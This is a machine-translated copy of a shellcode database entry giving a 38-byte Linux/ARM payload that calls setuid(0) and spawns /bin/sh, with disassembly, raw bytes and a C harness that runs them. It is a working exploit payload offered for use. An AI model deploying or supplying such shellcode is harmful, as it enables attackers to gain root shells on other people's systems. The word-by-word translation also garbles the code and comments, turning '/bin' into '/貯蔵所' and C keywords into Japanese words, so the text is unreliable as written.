このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


Linux/ARM - setuid(0) & execve(/貯蔵所/sh, /貯蔵所/sh, 0) - 38 bytes
/*
肩書を与える:  Linux/ARM - setuid(0) & execve("/貯蔵所/sh","/貯蔵所/sh",0) - 38 bytes
Date:   2010-06-29
実験(する)d: ARM926EJ-S rev 5 (v5l)

Author: Jonathan Salwan
Web:    http://爆撃する-嵐/襲撃する.org | http://twitter.com/jonathansalwan

! Database of shellcodes http://www.爆撃する-嵐/襲撃する.org/shellcode/


    8054:	e28f3001 	追加する	r3, pc, #1	; 0x1
    8058:	e12fff13 	bx	r3
    805c:	1b24      	subs	r4, r4, r4
    805e:	1c20      	追加するs	r0, r4, #0
    8060:	2717      	movs	r7, #23
    8062:	df01      	svc	1
    8064:	4678      	mov	r0, pc
    8066:	300a      	追加するs	r0, #10
    8068:	9001      	str	r0, [sp, #4]
    806a:	a901      	追加する	r1, sp, #4
    806c:	1a92      	subs	r2, r2, r2
    806e:	270b      	movs	r7, #11
    8070:	df01      	svc	1
    8072:	2f2f      	cmp	r7, #47
    8074:	6962      	ldr	r2, [r4, #20]
    8076:	2f6e      	cmp	r7, #110
    8078:	6873      	ldr	r3, [r6, #4]
*/

#含む <stdio.h>

char *SC = "\x01\x30\x8f\xe2"
           "\x13\xff\x2f\xe1"
           "\x24\x1b\x20\x1c"
           "\x17\x27\x01\xdf"
           "\x78\x46\x0a\x30"
           "\x01\x90\x01\xa9"
           "\x92\x1a\x0b\x27"
           "\x01\xdf\x2f\x2f"
           "\x62\x69\x6e\x2f"
           "\x73\x68";


int main(無効の)
{
        fprintf(stdout,"Length: %d\n",strlen(SC));
        (*(無効の(*)()) SC)();
return 0;
}